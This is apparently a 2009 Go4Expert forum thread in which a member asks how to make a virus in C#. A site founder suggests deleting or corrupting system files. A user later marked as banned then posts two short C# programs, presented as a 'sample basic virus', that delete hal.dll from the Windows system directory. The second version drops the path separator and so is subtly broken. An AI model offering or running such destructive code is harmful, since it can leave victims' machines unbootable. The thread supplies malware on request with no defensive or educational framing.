Can Anyone tell how to make virus in C#.net
|
Go4Expert Member
|
|
| 13Jul2009,21:23 | #1 |
|
Can Anyone tell how to make virus in C#.net
|
|
Go4Expert Founder
|
![]() |
| 13Jul2009,21:39 | #2 |
|
Moved your query to the forum and you submitted this as an article
Deleting everything or editing some system files and corrupting them can also be defined as some virus and do that as that is the simplest thing you can do. |
|
Banned
|
|
| 14Jul2009,06:32 | #3 |
|
Hey Night Rider, Nice to see one more .NET Person here
Soon I will let you know how to make virus in C#.net
|
|
Go4Expert Member
|
|
| 14Jul2009,12:27 | #4 |
|
thanx sir
|
|
Go4Expert Member
|
|
| 14Jul2009,12:39 | #5 |
|
r u dere naimish
|
|
Banned
|
|
| 14Jul2009,13:20 | #6 |
|
Yes Buddy
|
|
Banned
|
|
| 14Jul2009,13:23 | #7 |
|
First of all let's decide which kind of virus you want to make ?
|
|
Banned
|
|
| 14Jul2009,13:26 | #8 |
|
For a Sample Basic Virus Program, See the code bolow.
Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace HallDel
{
class Program
{
static void Main(string[] args)
{
System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
}
}
}
|
|
Banned
|
|
| 14Jul2009,13:26 | #9 |
|
A more advanced version:
Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace HalDelPro
{
class Program
{
static void Main(string[] args)
{
System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll"); /* C# OWNS*/
}
}
}
|
|
Go4Expert Founder
|
![]() |
| 14Jul2009,13:29 | #10 |
|
Quote:
Originally Posted by naimish |


Soon I will let you know how to make virus in C#.net
